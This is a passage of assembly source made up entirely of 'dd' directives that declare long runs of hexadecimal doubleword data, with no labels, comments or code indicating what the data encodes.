0B0243044h, 7B304B1Ch, 3178207Ah dd 98A00B2h, 0A6F7CE0Fh, 94907517h, 84A85604h, 10A218AEh dd 0B23095E2h, 0E7F71841h, 2BCFC9EFh, 24A9112Eh, 0C0005E1Ch dd 88C736F2h, 1BD605E1h, 0B6F5E278h, 18523B4h, 0A7775AA8h dd 0BC2D2FDFh, 0E15AE1C0h, 20DD3C8h, 20F83551h, 0F4F30F5Bh dd 5AC43F95h, 0EC23702Eh, 90EBBD02h, 80D47E3Eh, 0CB32D5F6h dd 47AA7CFh, 348849h, 0D1766183h, 1C4C3BFAh, 84C1A56Eh dd 95CEAEC2h, 0C0CC0494h, 0A79002Bh, 228B834h, 0A674BB7Bh dd 74793C2Fh, 0D6189579h, 7B932Eh, 3CB1803Ch, 1A0BB6F7h dd 6B86172Ah, 45140502h, 1E7C160Fh, 177EFA20h, 8E2C535Eh dd 0C066883Ch, 0BFCE7FE1h, 1CAC5602h, 4075C703h, 2D5401A0h dd 642FFE47h, 83ACE983h, 0AC2F83Eh, 0F85456A0h, 58EA4676h dd 7A4324CCh, 7E3F5032h, 17ED8138h, 0CB193E8Bh, 0E8CECFF8h dd 63CA5614h, 31BC30BCh, 9786D70h, 0B41C8141h, 30B158F0h dd 0AA18EAD1h, 1D40A4B2h, 946300C4h, 16DBC36h, 685BAB35h dd 2523242Eh, 0C5450500h, 0B074A652h, 6C0104BDh, 0ACA8154Dh dd 2C8E8910h, 4120D898h, 6E188838h, 8B51F99h, 49273240h dd 0BC3CBD44h, 8C28B8h, 4D24846Ch, 0E7010E48h, 0B3F79F0Bh dd 51040902h, 18D8D1F4h, 0BCC700F1h, 4EF53701h, 38B97A46h dd 7E82702h, 6C5F111Eh, 8DB4B8Ch, 1A0ED580h, 0EE07A418h dd 67529B09h, 0F30105A8h, 0C280D040h, 3028FCA6h, 0B07AA855h dd 56937A09h, 878409Dh, 46794067h, 49810960h, 0B5D1E242h dd 783EE420h, 390B12B7h, 217E2E31h, 8EA8F960h, 3D879824h dd 5E4E0A6Ch, 2191C4A8h, 0EA14F0EEh, 60DA700h, 8C447AACh dd 40A1971Eh, 3A68163Ch, 3823E42Eh, 2016E60Fh, 0BE11BBE8h dd 413C4A46h, 6815EB68h, 7E10FCB4h, 0B0471F2Bh, 0F83A9978h dd 616515E0h, 0BB003058h, 53B1F5E4h, 2AEA3A72h, 0E7091B90h dd 0D0D8937Bh, 20EA3E50h, 0AC7A28h, 37580B45h, 28E208A6h dd 7CCC2D50h, 967EF81Dh, 2B74CE80h, 0B5045Eh, 4C12DE6Fh dd 8E7208EDh, 3D307A81h, 1F4985Ch, 70105D8h, 0C0A2E465h dd 7D24BC27h, 0C1CF7CA5h, 0A1CDC79h, 1880E063h, 1BD77974h dd 9A9C0101h, 8C294C47h, 20AC7DEDh, 250BDEA8h, 609E8D22h dd 0EEFC8C44h, 0DFF137Fh, 0D760203Dh, 4800E709h, 0A9F56F26h dd 6DFFDDDh, 0F27D6C9Bh, 0F37F71F4h, 1884D8A1h, 6C5A39A7h dd 0D6448CF4h, 5ADF3DF9h, 20275481h, 247706CDh, 4F78EE5Ch dd 0A4964300h, 0F4E0B41Ah, 0C3F03D31h, 6C78AE84h, 3C2CE91Ch dd 4DDB815Dh, 4CFC016Fh, 5A0693CCh, 0CA7C8131h, 38723F82h dd 7E0400D7h, 824E0BF3h, 69C55CD7h, 0D44BB4D0h, 64DE071Ah dd 5EB0F150h, 7CE6A7FEh, 0A7FE2E40h, 0A7330420h, 0DEBB32DDh dd 7200D678h, 0F5C28FEDh, 49070334h, 7ED4A0h, 0E92A558Dh dd 0EA6829B2h, 7790790Fh, 584941A9h, 7BEE2B73h, 0B8485840h dd 52FC1275h, 95010B00h, 969CBCFDh, 3B7420E2h, 23A8790Ch dd 3007BEB6h, 3E19A72Dh, 0ACA1950Eh, 0B9F03815h, 0B061860h dd 51C82BC5h, 0AC4E6A00h, 447CBF01h, 0A3495B03h, 88BDB1D1h dd 0F0E27713h, 73850089h, 17C52D82h, 0C0E80A3Dh, 74664400h dd 518BE4ABh, 879A0E0Bh, 6E8C0C89h, 7C00C921h, 27D04ABh dd 8273B70h, 631C865h, 1EA4D00h, 532ABA2h, 647D13E6h, 56ED87F8h dd 0C5009148h, 4E581A49h, 1C090EE9h, 1276F966h, 0AD750395h dd 2903C0C9h, 9D3B4552h, 0E01100ECh, 717251CEh, 0C9186AD1h dd 0D7085969h, 2520C045h, 98B851D6h, 6BB31507h, 4A004073h dd 6710ACCh, 955469CBh, 3706D27Eh, 0D7341A75h, 44F50208h dd 2ECBF804h, 6F16B000h, 7E10C718h, 0FC93D0EBh, 14031C8Ah dd 0E07673BAh, 2CB032B2h, 0CB3044A9h, 716F1151h, 8AD888C9h dd 0AFF32Ah, 0F24D5C99h, 0CC316E71h, 0B91F50AFh, 59848050h dd 0A1603E35h, 0AD390200h, 0A783C31Bh, 0D174C400h, 45F0FEECh dd 0BABF021Fh, 98C87806h, 3A24C4A0h, 1A0F2208h, 4CECA933h dd 602008CAh dd 42032007h, 4600A308h, 5AC23301h, 20695B49h, 4400853Ah dd 26B9E4F4h, 1DAAF009h, 9F567640h, 80511F22h, 7E2CEF0Ch dd 1C00E9B1h, 0AA881E1Bh, 0F60922A8h, 7CDB0F8Ch, 0FA1E6B3h dd 0C9A77F48h, 70FFE84Ah, 3D30CB0Ch, 0F66697Ah, 0F8255561h dd 5BD96900h, 0A5007FC2h, 0D21157A3h, 967D53Dh, 0B19550C7h dd 0CC94C00h, 7A5206BCh, 8300278h, 31A31A4Ch, 3B591021h dd 0DF530008h, 0A40B965h, 87080242h, 0B8ABBAh, 0FED4D106h dd 5002AF2h, 6F964CADh, 2316B19h, 0C4187AB9h, 0F88398CBh dd 790035C8h, 0B18AD626h, 81531Bh, 0BD017CB3h, 0E228D74h dd 5134E101h, 6BB1FCDh, 1EF2D440h, 0A571C0C8h, 7E3CD822h dd 0AF91B06h, 60082B46h, 1A8721BBh, 0A13AC6D8h, 3AF880D0h dd 96090FD5h, 0AA6286Dh, 57FD09B0h, 0A400BEFAh, 743F56D4h dd 93C618C0h, 0FF759DCh, 967532FFh, 0A81DCB89h, 2E80E111h dd 8A15639h, 501A261Eh, 8070F418h, 790B2084h, 46BA2F00h dd 0C27283C5h, 8B341830h, 5D5EC9CBh, 29E57B30h, 50C3688h dd 3F040910h, 1BA44043h, 197F6B17h, 0B69E5A0Ch, 0C0C8189Ch dd 93E1C089h, 0DE3210A2h, 3037C973h, 6E1151CAh, 0D588F171h dd 51F22980h, 5134C810h, 0C0884C88h, 0C505676Bh, 0B046A24Fh dd 0C20E5F5h, 14806504h, 0F63050A1h, 378CF9ECh, 22BA81FEh dd 3020F244h, 39000D64h, 96310AABh, 203AC8F5h, 5700C582h dd 4716C671h, 1AFB910h, 0C29D514Ah, 0A8E9C5B1h, 0D6462498h dd 30D80876h, 0AFC43B7Eh, 0D8168B41h, 0D4A1CDD2h, 4E07E143h dd 0F2CD89C7h, 0DD01DC90h, 0F00D06A7h, 89C319EDh, 661674A1h dd 0AB73020Ch, 31598BCFh, 7BC8107Ch, 72450EABh, 0B5805AB4h dd 0A86EF9E5h, 106C624Dh, 0D000BEFDh, 9E61CB2Dh, 6500E40Eh dd 4907AC48h, 7544E6A6h, 46032C81h, 60364400h, 246D51CDh dd 73585971h, 1951F680h, 6376BF00h, 0F01AD727h, 0ECD95026h dd 1C7E746Bh, 946D5E9Dh, 3D18E071h, 1A8DC104h, 1421102Ch dd 6926A700h, 53A8080Bh, 1B238807h, 0E0AB7000h, 860C718Bh dd 0EAD57844h, 0A26104ABh, 90CFD194h, 0F886E410h, 0A434AE3Dh dd 0A04144C7h, 0C8C21EE2h, 1A5FC90h, 0B8F88BB9h, 0E4879FC7h dd 1C787E1Dh, 4A45E404h, 8486E805h, 0D9409941h, 3B4B18DDh dd 8A80AE62h, 0E16092A1h, 7F503429h, 5C137E2Ch, 0E444665Ah dd 7C9C8225h, 3C048C76h, 431A2008h, 500C0CEh, 0BB750844h dd 77004DCEh, 0F68AF4C9h, 3880391Dh, 58EF6EACh, 0BFA893E0h dd 0D402062Fh, 0C8B9B147h, 2346475h, 0EFC94A36h, 0B4A1DA18h dd 0D0C11481h, 0E15082F8h, 0EF1975F4h, 4521FEB0h, 0E84CF462h dd 0CA8204Dh, 0EB7B008Ch, 3A546462h, 0C91C940h, 93187DF1h dd 18990500h, 34C704BDh, 6B070095h, 8A83F69h, 131CD5C5h dd 4864241Ah, 0ADC24600h, 26391754h, 406C9EA4h, 0D96DBF41h dd 2B264200h, 11E6377Ch, 0A1DE38E3h, 1B666980h, 76EE0852h dd 231CAF4Ch, 0D8843CD7h, 62437E25h, 17CC20BCh, 3F0936D8h dd 135CD26Bh, 0F348230Ch, 31D82303h, 0B262A47Eh, 0D81B8820h dd 92FA5Dh, 78A63595h, 0D1CBC890h, 4BC09A54h, 0D050BFE6h dd 9E13949Eh, 0B4082632h, 91B9CB3h, 1840EF8Ah, 39DF9FC8h dd 0E2D8E90Fh, 60825C19h, 2C3A19Bh, 135245C2h, 0FAE07CEAh dd 5152B01Dh, 31BAE25Ch, 3DA8D4CBh, 10540B48h, 0C605E13Ah dd 8B50E715h, 0C0E2C8A8h, 0AEE7412Ah, 0B93B2200h, 4E14D889h dd 19C5242Dh, 0AB6EC024h, 0C1438BCAh, 0AB76C780h, 0F2001DAEh dd 717A21A2h, 7524B190h, 906BF075h, 67DB209Ch, 70582F2Ch dd 0AEAC7E40h, 6F18C00Bh, 5A920D39h, 773A1126h, 8EE43828h dd 0DCB73C26h, 57F38701h, 6080A63Dh, 6E142842h, 550AA832h dd 80394551h, 74A1E4C7h, 130EC171h, 0D003CC27h, 0E8A7CF80h dd 1B8CA134h, 7815F83Ah, 1289D2F8h, 1008A030h, 137DE304h dd 50405648h, 0E1AC3874h, 0EE7D018Ch, 542E5F78h, 0AD1CDCE5h dd 7A4FB016h, 7166E841h, 0C0287876h, 971B8104h, 0C870CBBBh dd 2068C70Dh, 9A9C3D33h, 0D8999892h, 5518BCF1h, 1B0DCB02h dd 0C551088Ah, 60D7E484h, 5C68B2EDh, 0C413ACD2h, 2C300130h dd 20AAD135h, 72640468h, 6897C031h, 0D26C4839h, 2E2B003Dh dd 4E50D51Bh, 7102AA4Bh, 2D93F138h, 8D40D5A5h, 60E23154h dd 941C9859h, 683E1094h, 7490CC26h, 6F017246h, 0EF670D9Eh dd 0FDA70ECh, 501A8A00h, 7ECB7043h, 0AAF93BE6h, 4AF1082h dd 0D4EA2767h, 944C8C7h, 241BF60h, 0FC741A18h, 539D8160h dd 0DA22806h, 0EE0C30h, 0F0C1B8C2h, 3CBF0691h, 2200F0B9h dd 0C45CECAAh, 9708007Eh, 0B0A92565h, 31C7316h, 0DE89764Bh dd 6480C742h, 1F0560D6h, 1A8C390Ah, 89200B2Ch, 0BBB1h dd 0D07E5C57h, 200BC99h, 0DE88ED48h, 0B2660F6Fh, 0EBA01940h dd 0BF188A9Fh, 0F5116091h, 3BD82180h, 0F899337Eh, 0D81986C0h dd 39E6EC51h, 0AB012D8Dh, 0BF77EB7Ah, 0B444C296h, 0D9E97E30h dd 0C8322A73h, 18C0F468h, 4C7E2ED8h, 85E0D02Bh, 0E602D830h dd 80271020h, 0FC586997h, 0A874D0FFh, 2CD92713h, 7D117097h dd 0B8D7AC80h, 2801A990h, 53424841h, 1830EB16h, 10FC4992h dd 6726EF0Ch, 13062839h, 85ABE23Dh, 0D99D2AA1h, 191100CCh dd 69837442h, 0DB00228Fh, 0AABAAF4Fh, 996E50Bh, 589CFC4h dd 0D811A89Dh, 8031B385h, 1BEE2AA5h, 0A191146Eh, 0AEB0AA80h dd 76B8182Dh, 0D5B27901h, 0FAF7687Bh, 983472C9h, 0CA74274Ch dd 0FC894001h, 765C6088h, 0CC7FD08Bh, 2AA401DAh, 47DCE803h dd 0E4DBE0F9h, 4FF8FE00h, 91007DEh, 0B185E273h, 63DCD37Ch dd 3D9F0E7h, 128B09EEh, 0F0E02288h, 0B948206Eh, 0CB61204h dd 4A816002h, 0F0285812h, 5310A226h, 185A7070h, 980F3700h dd 6FEDE3A7h, 76D41F12h, 8C24E53Fh, 82F6075h, 0CB1A2517h dd 40E2C16h, 0A1E60837h, 0E4EB2061h, 29E5060h, 36EE93C7h dd 0A86033F4h, 2F80731Eh, 50628F8h, 5E289CA0h, 7200B946h dd 0F7507E04h, 0D706370Dh, 0A7C8B7DAh, 21D100B1h, 4ADE2588h dd 0D34B8480h, 0FFCE0000h, 0E374A032h, 0A14DC70h, 0BBC0D40Fh dd 16465678h, 6B123171h, 1E3CF60h, 684B541Bh, 19C0B088h dd 1F521C62h, 96BBBAE2h, 8F20C5A9h, 0C0D58818h, 0FF3D2960h dd 64BCFCA8h, 0A45ED200h, 7E1CD966h, 51EB6082h, 75706F46h dd 124E1F58h, 9017EACAh, 0B123B42Fh, 0FA2C6E1Ch, 26892400h dd 14602058h, 90E2937Dh, 0F287B105h, 0DBE0C5DFh, 7C7D8064h dd 1EF75573h, 0CD1A7075h, 68B0E8CEh, 8C17EC20h, 7C96CE25h dd 7B4C002Ah, 2C30C31Dh, 0D764BCA7h, 10834167h, 10468DFh dd 0EB748272h, 1020A6C4h, 0D2E2458h, 2088287Ch, 0C3757D46h dd 6E73CA04h, 0EC80AA54h, 1F3075F6h, 411428F3h, 2296767Ch dd 846DF2CDh, 878897E0h, 36A30035h, 0D7593474h, 209B4553h dd 78020978h, 8758BF1Ch, 801E710Bh, 4624C662h, 51CF0238h dd 31A97173h, 0D72610DCh, 6FEB1B51h, 4809EE96h, 0A0BC3A11h dd 0F01EC188h, 235B121Bh, 80449B09h, 27B29E5Dh, 50F8290Eh dd 18E15950h, 4F1202DDh, 44C778C2h, 482100D9h, 4E18BB71h dd 7501C5Ch, 81D2CF51h, 3C13B01Ah, 4633D4D0h, 1C5949BCh dd 0A8A76C53h, 0F4842DC0h, 0A2B026Ah, 9BC1294h, 9CB0A882h dd 3C20FCC4h, 4A7F00C6h, 0CB70FBE0h, 0B05496F9h, 321A8DE8h dd 0E38233Ch, 4F9C31ECh dd 0E1C87051h, 8057E3C4h, 240C14E4h, 133F773Ch, 9804BF4Fh dd 0C50B78AFh, 0C8590862h, 0E718BBD9h, 9585E53Ah, 70C84AF8h dd 8B34A204h, 8001BF52h, 0E45018C0h, 96F22B0h, 0B43E0AF8h dd 4674ACACh, 0F0830378h, 905769ADh, 0F5F9813Ah, 0E2030C6Dh dd 34946F84h, 46A2CC8h, 874C6658h, 0A2795B9Bh, 0A1539E00h dd 5C4EF94h, 9581619Eh, 0B80AB0E8h, 125C87DCh, 6E4CC8C6h dd 0BF3D01E7h, 340239A7h, 1A0366F7h, 5767B22h, 0A807F5C9h dd 0E288B306h, 0FB82306Eh, 8311613Ch, 0F38C7E26h, 1D6809DDh dd 80521E58h, 7C767308h, 300312A8h, 2ED27F1Ch, 0C2364B1Eh dd 4CCCD415h, 8CADE830h, 0FC5EB400h, 746BE8FAh, 4A762560h dd 9ED15023h, 59AFE900h, 3DA1B338h, 0FBA21EE8h, 338E82F8h dd 0C580818h, 0D84C2143h, 8CAFB8h, 9A49E09Bh, 35017C08h dd 0F0D0590Fh, 13C509C3h, 943A2A8h, 38A71846h, 82607A44h dd 8C301A02h, 0C73050A7h, 72D30389h, 75A86A99h, 0C8A105D2h dd 60D692F8h, 452D9EB0h, 91AC9D99h, 561580E3h, 1EF8EB4Ah dd 1299E77Dh, 0C80C8BBFh, 8427C309h, 0A2B4F3FCh, 0CB4430DCh dd 0C02FD24Eh, 0AD007323h, 0BB3554AFh, 0DE0F1CDDh, 3F1300E5h dd 0EF851988h, 46AF7600h, 0F2DDD6C5h, 96B2414h, 7D467E94h dd 0DF99E400h, 93E9D990h, 8A34DB09h, 6B1C20CAh, 0FEE6469h dd 0ED87257h, 1F99C721h, 0A2442404h, 223C23E0h, 928E807Ch dd 906F1142h, 0E0300C2h, 0BBCBDC29h, 0C0AC7706h, 21083D05h dd 48E3B1Ah, 8145021Dh, 5AF01219h, 60D420F3h, 7C489864h dd 1E082E60h, 96931A2Fh, 396700F8h, 2F91BB08h, 9C4812D5h dd 2D531275h, 25644C02h, 8C340271h, 0A4147880h, 705A121Ch dd 7341E41Ch, 743A8C2Bh, 4BBF0C34h, 23643F76h, 8F7E1C79h dd 0D81225DEh, 58CC928h, 7E2FD81Dh, 10CE53h, 96D8158Ah dd 3A457B75h, 0F1001329h, 0CF1AC556h, 5CB455A8h, 3DC465Eh dd 90967052h, 0AAE01EA6h, 8497A756h, 9BC0D811h, 46736CE9h dd 2AC8840Bh, 3B286003h, 301D9543h, 0DE80E291h, 0C982A7Fh dd 42165E7Bh, 54207004h, 409A8B45h, 94927311h, 0AED1D099h dd 96615218h, 0D16785E4h, 1800CC69h, 7AF62F57h, 21E2987h dd 21C1F4F3h, 0FD0F230Eh, 3023C427h, 0CDAB6D00h, 860C898Bh dd 0C66F44h, 709FAB75h, 88F2F2Ah, 0C7AA8000h, 29AAC93h dd 96460929h, 0C028BF40h, 7A465C30h, 0B4C89272h, 0C465EB0h dd 3F3AEF00h, 0E24138B0h, 966FED04h, 1482C76Ch, 7954D12Eh dd 0BB318ADh, 412C6A22h, 0DD7E6461h, 0E27063E9h, 0C4AD31BAh dd 0C4A419EFh, 0BC128D05h, 2CB3710Ah, 21803D19h, 4649D43Bh dd 210ADB00h, 0BD431333h, 7EC209CFh, 7C50CB64h, 0C553C301h dd 0E8724C69h, 0BDD9CE4h, 8126EDEEh, 0B05170A9h, 6A433A00h dd 2CDB68B8h, 9F80E27h, 0CC082D4Ah, 0AB6FC0D8h, 79468BCBh dd 77D48877h, 1DBAB05h, 0AC042B5Eh, 6A00BF02h, 0C0CDAC69h dd 0D3008C77h, 49765F7Ch, 941FEDE7h, 73308EC4h, 0FE58013Fh dd 6C18A7DCh, 648BB52Ch, 26C0B288h, 1D71E2Dh, 33B01270h dd 73BDFC8Ch, 0E91F2514h, 82E42AE8h, 71369033h, 631E00E4h dd 18E2E603h, 1A09801Fh, 3739E84Ah, 0B81080D0h, 0CF3A927Bh dd 686E7200h, 87A7DD04h, 0FCF100FBh, 0D91221BCh, 63166D50h dd 1CD83815h, 800984D7h, 716D3AB9h, 186EF134h, 0B6FC0011h dd 9626354Fh, 18B4937Dh, 589E505h, 0ED019C80h, 5C449650h dd 9F17DC46h, 0F4C20D2h, 5500139Eh, 1CFCB5D4h, 0F39D3D0h dd 0AF52AA93h, 0CFF73A60h, 8727DCBBh, 9A3080DAh, 0B6DD8FCDh dd 0AD465EF0h, 21123238h, 0D3D8F00Dh, 0B8C66B40h, 0A62D0213h dd 2724478Dh, 0D0BA0061h, 0D600077Dh, 44EE40BDh, 3103D953h dd 0CA084B3Dh, 0FD208026h, 0A4104055h, 0B610C70Fh, 2E6A7062h dd 0B8000930h, 3392E23Dh, 3AD08D8h, 0F427B640h, 4164E682h dd 0BE602D70h, 4423EF40h, 0F6443B4Bh, 3C405600h, 79469FE3h dd 60A9017Ch, 83940A4Fh, 0EA32F808h, 10C0290Eh, 0D9B6454Ch dd 3B964004h, 3E2E7D00h, 0E40EDB4Eh, 60A3BE53h, 8477BEFh dd 0C0E57C50h, 0F67DAD40h, 0D9C00B9Dh, 15442687h, 2331068Eh dd 8B9A6BAh, 66218360h, 17EF442Eh, 312F89h, 68BCCE9Dh dd 0DF008BA5h, 86CC650Ch, 5A677Fh, 0BD973928h, 9557B69Dh dd 990469h, 0BE25CC32h, 796A19FAh, 80300986h, 0CC05C721h dd 96B31Ah, 0D5270E2h, 3B01E30Bh, 2A604EF0h, 3A387DE8h dd 1099C0DEh, 12A41744h, 39F411C0h, 30DFB4h, 3B024A49h dd 8C2ADA1Eh, 0CE764200h, 0C7077B80h, 3065618Bh, 813F9627h dd 5C757C81h, 0F12ECEF8h, 0F5980117h, 8CF008E2h, 8E7A2462h dd 7B98B101h, 442C4810h, 3D143719h, 1F10C6B0h, 0AE00BC1Ch dd 24F7291h, 1EE17B81h, 92E4877h, 1C1127C1h, 8C7182Ch dd 0A344E840h, 0FF40D5C4h, 30C840BFh, 0B199DB00h, 9F8A8E2h dd 184503B6h, 792F0C07h, 0EDDDF100h, 0F3F6BC7Ah, 0FE0A19D9h dd 0A6E908C3h, 7A048E21h, 90C6ECDFh, 0DA430381h, 8D7D5BEh dd 248D4A80h, 0C003CCA2h, 0B9187FF9h, 0A131C61Eh, 0F4A60E22h dd 64C76CFBh, 4BCEF0B8h, 4C05C459h, 0E5D57984h, 898AC14h dd 3D095F83h, 0D692E10Ch, 0BA107268h, 88402735h, 0C3268C30h dd 563A4F40h, 0CE2288h, 6B40BBFBh, 0F6F704A7h, 0F9257E00h dd 0D04A6C8Bh, 0DD3D7952h, 38260058h, 0F67A5578h, 106095F8h dd 79657F18h, 0B72212D3h, 0B86408B3h, 1CCC17C0h, 6B3221BEh dd 38703191h, 6E00CC0Fh, 68B4A597h, 0D000769h, 0ED0AFD86h dd 3F759070h, 0AC0650F4h, 0B9CC1F7Dh, 0EFBE3000h, 9D286FCDh dd 91D53FA5h, 705B150Ch, 0A90116F6h, 6E6A41FEh, 9ED4BA24h dd 1150917Dh, 442781F5h, 31FE8E14h, 2F65117Eh, 5543A70h dd 0C15597B7h, 4F4D8043h, 9D30F7BFh, 2956290Ch, 0A1740042h dd 1817F4A9h, 0B802BCE7h, 0DA03F6C7h, 0E42465ACh, 966E6082h dd 13940070h, 98511F65h, 0B2487CCCh, 0FAC5802Ch, 93D82BC2h dd 8AC78404h, 0D654907Bh, 825419AAh, 61D025D8h, 0F27852CEh dd 0BC3630EAh, 0E950DE0Ah, 0C805A8EFh, 0E84B03BEh, 111C1D07h dd 0D57F80D4h, 9952B93h, 81F47392h, 8E78F010h, 0DC55B409h dd 52BC112Eh, 0A438E4h, 0CCAC5848h, 14FCC653h, 0C80E8F7Bh dd 6110E275h, 0E832FA8Dh, 6E96430h, 83ECE7C2h, 450A591Bh dd 9C2F368Ah, 44526E42h, 22B46A0h, 44E940C0h, 17D2319Bh dd 0C40B900h, 62A50382h, 1067E772h, 7A8DC780h, 0FE43B1C0h dd 9ADF2E65h, 0F178995Ch, 542519CAh, 9E60CCF9h, 49BA2433h dd 7EC8406Ch, 0ED032C8Bh, 5E41BEB9h, 0A6183ED7h, 0FD877C05h dd 7115C6E9h, 412D7500h, 0DA4721F2h, 377E02DFh, 0CFCC8C55h dd 99A2E88Fh, 111D7905h, 3EC280D3h, 120A8782h, 70A2115Fh dd 94AF8E8h, 5EB82555h, 0CCBB8044h, 26206F38h, 0C9808273h dd 0D3110897h, 85AFE180h, 3A03C1F9h, 42F7BD49h, 0DC889C1Fh dd 22048CF2h, 118E1944h, 4A227862h, 0A98F802Ah, 2E43499Fh dd 18BB7AE2h, 7701F808h, 30F9B780h, 1D1805AEh, 91C0CD1Eh dd 0A849367Ch, 0FFA100E6h, 0AEDC9DBCh, 520088EAh, 921DAD39h dd 0B0B68E72h, 0D1B89188h, 10182Eh, 8EDA2305h, 0F5E1206Dh dd 810CB24Dh, 0CFB848F4h, 3D07EC26h, 3690AF31h, 0AB2C200Ch dd 8E91D813h, 7BE8AC48h, 92BC2C8Ch, 0ECB569F0h, 248ACA91h dd 3E9608B8h, 2466840Ah dd 7D4465Ch, 0E237F085h, 973698E1h, 7484A0CAh, 9C143Fh dd 0F02D2BDBh, 194075Ah, 7CA9701Ch, 0E244CAC1h, 0C832352Ah dd 76380892h, 7487F48Ah, 8CA62000h, 5CFDCB9h, 0CC51A27Eh dd 54EC0829h, 20C113C7h, 0A46312BEh, 20AC485h, 0A5EE80ECh dd 48C8F846h, 8115C556h, 4802BEA1h, 0C6882D24h, 0A1CC000Ch dd 382EEF74h, 93099CBBh, 83D0EE42h, 0C91EA4h, 1FF7AB9h dd 7382FDA4h, 74DC9005h, 8D063D6h, 89C8159Eh, 1C1918BAh dd 0A9BE22CCh, 10C24040h, 0D600FDCCh, 26DCE5A0h, 0FE62758Bh dd 244E82E2h, 0BE1E2B18h, 0F4176991h, 474307E2h, 6242E8F0h dd 90E3D7FAh, 2A2892ECh, 1240C130h, 38B344EAh, 0BA5C0104h dd 91D20E9Ch, 81E6294Eh, 72DD4A08h, 8A49E840h, 85074006h dd 0B0C44FAh, 61C41ED9h, 3F78E22Fh, 3D0074C1h, 6B282A72h dd 7490BC76h, 1BF1E22h, 0EF78E75Dh, 77733B8Ch, 0A25842E4h dd 206C31CAh, 3B4638E8h, 0D917F63Fh, 19D8367Ah, 71BC7D05h dd 1480DD89h, 0B116F8A9h, 3F2B1694h, 9D123E8h, 1C038ACEh dd 0F04CBA1Eh, 31DF1254h, 83C810CEh, 0E575F9C1h, 2B4D6F0h dd 9431594Bh, 441F90h, 724E8100h, 0ADB5BC97h, 6E417206h dd 452670D8h, 0E104F102h, 87A4076h, 0E7466C91h, 2D840400h dd 2816F930h, 0B30B0718h, 7AEC0148h, 18EBF6C3h, 0F4C088E5h dd 82907A02h, 429841B5h, 32E844F0h, 8AC908A5h, 919EB560h dd 79BCBA06h, 9DA0766Dh, 0CB6FE658h, 93B88088h, 23CE13Eh dd 0A339C419h, 1B207D0Ah, 58ABA886h, 36207C1Ch, 0CE87997Fh dd 0DD809ED1h, 32F2D5D4h, 5054002Fh, 6743A864h, 0C8E99735h dd 0C006BF55h, 0E6A7C6F7h, 33962A89h, 0E95200A8h, 0DADC84D8h dd 89007836h, 0D57B6C62h, 179B840h, 0BABFABFDh, 20DA43B7h dd 0C892D883h, 185C1CF0h, 8CD3EC84h, 762860BFh, 6F130246h dd 0A6C6F1B9h, 4A047851h, 18077479h, 0A81E7F94h, 41BA00B0h dd 0C0269FA8h, 51CA6E1h, 470074E7h, 0AAF6C7C1h, 380A60F1h dd 0BE2DC5B1h, 0B06BBA32h, 2084C10h, 0F6C07AE9h, 0C71DA93h dd 7AF1BB40h, 0B2F73E18h, 9D07F29h, 14C6BFF4h, 0C7D81220h dd 0C88BC760h, 0A9B28482h, 0D9485185h, 6018D1h, 5B80E115h dd 0AA72A262h, 0DEFA7012h, 0DBC0709Bh, 8ACA418Eh, 2C623800h dd 0D93BB771h, 80FD2E52h, 6E898A68h, 74E8ACF0h, 0F00E846h dd 33A76CC4h, 1A0CAB8Ch, 203E802Eh, 7D29C095h, 0F7323CEAh dd 68DD6535h, 0E623D42Fh, 265C7900h, 587F3903h, 64FA286h dd 2874D714h, 0D1FB100Ch, 12DE70BCh, 47ECC558h, 0D82662D4h dd 55116C26h, 52CC1487h, 32310ABEh, 0CC0BC510h, 44DBE31Fh dd 942E3E4Ah, 1BA7602h, 4B07013h, 0B6067E2Ch, 0F710427h dd 0ED3CC300h, 264C5B82h, 8CD0F8C8h, 0EF862C01h, 73ABBC1Bh dd 20708821h, 0A790984h, 30E9269Eh, 103987E7h, 18F0FEA9h dd 6A1E23DFh, 0F4D87046h, 0CC081200h, 835A6791h, 41801BB9h dd 2913790Bh, 909AADB6h, 304C09C7h, 0E39EA92h, 3AB44D01h dd 10D952F1h, 8F74A501h, 0D64A8C31h, 8840C050h, 0F4956B27h dd 43807991h, 77E1D040h, 96CBDB3Fh, 3CD18559h, 240173h dd 0ED7918BEh, 0E0A618DFh, 0B70820h, 6C78886h, 71A9BB39h dd 0CBB06C01h, 0A53A3879h, 30F74C52h, 0E114425h, 7F88B98Eh dd 442D6780h, 2ECE959Dh, 3F3C14A3h, 2E5CD4A4h, 32465E2Ch dd 4585F902h, 0F048D292h, 0CD5D8276h, 2E460984h, 0CCB020EFh dd 0E79ADCh, 5E4FEAAh, 281F3C75h, 520A5F03h, 0D8F76651h dd 0A4BDF455h, 0A4C725BCh, 42D63C90h, 0EF283500h, 9E4A8E45h dd 1EB8C5D9h, 9B805281h, 0ACB880F0h, 9AB702Ch, 57D09CD6h dd 0E6EA0823h, 26616001h, 2D638F94h, 0F8A75073h, 3BD4D7C0h dd 0A5780067h, 3E7038E7h, 5913BE1Eh, 2042D6A9h, 0E473E6A3h dd 626E3C08h, 0BC39905Dh, 0B2F6C602h, 0AC8073B1h, 328FA620h dd 3EC5CB04h, 48EC11Fh, 4AC07A88h, 3752F8BEh, 10597B41h dd 357738A0h, 446FD12Ch, 44843613h, 6AD278C1h, 0EF300602h dd 21F6FC7Ah, 0E791D9C3h, 7AF7BD00h, 38CFE9DFh, 670BA7EEh dd 648EE0C7h, 9AF80074h, 9D28D9C4h, 9C00F583h, 30EE904Bh dd 4C0847F1h, 105CC470h, 0E8C79ECh, 3888BDFDh, 41B009AAh dd 79C12EFAh, 0DEF1381Ch, 7DF7EC31h, 30BC502Ch, 2D1E68Ch dd 0AACEA265h, 0AC828609h, 6AE0B6A0h, 74805C3h, 0BC684924h dd 8E7500EAh, 966E6029h, 0A1509D43h, 6D4099E0h, 0F4C51DF2h dd 38241A84h, 0D344E867h, 13B0FA60h, 0A27A8203h, 0C086374Ch dd 5B69C336h, 1F9C0018h, 8E51ED1Bh, 0F47DAC14h, 44288364h dd 3121EA13h, 3064107Ch, 0E5BC5044h, 8A781FCCh, 874C9AFh dd 7F91B49Fh, 0EE3A7280h, 2E24F03Bh, 89803CF4h, 0C9B0E284h dd 98790013h, 0B8251C66h, 1705D19Eh, 71BC4094h, 0F802F484h dd 590395E6h, 18D379ACh, 6EC000D8h, 0F5A8B2CAh, 45483829h dd 728E8134h, 0B204C736h, 23940090h, 0E5D1064Bh, 426F044Ch dd 90849F8Fh, 3EE20FC0h, 0C907183Ah, 7AE880B4h, 438BF6C7h dd 0E122DAh, 0B77AF0BCh, 0EDD60E84h, 80428505h, 48CE25D5h dd 0B7C02A88h, 7DDCAC48h, 565F16B9h, 92E4009Dh, 8D7DD7Ah dd 0C76FD802h, 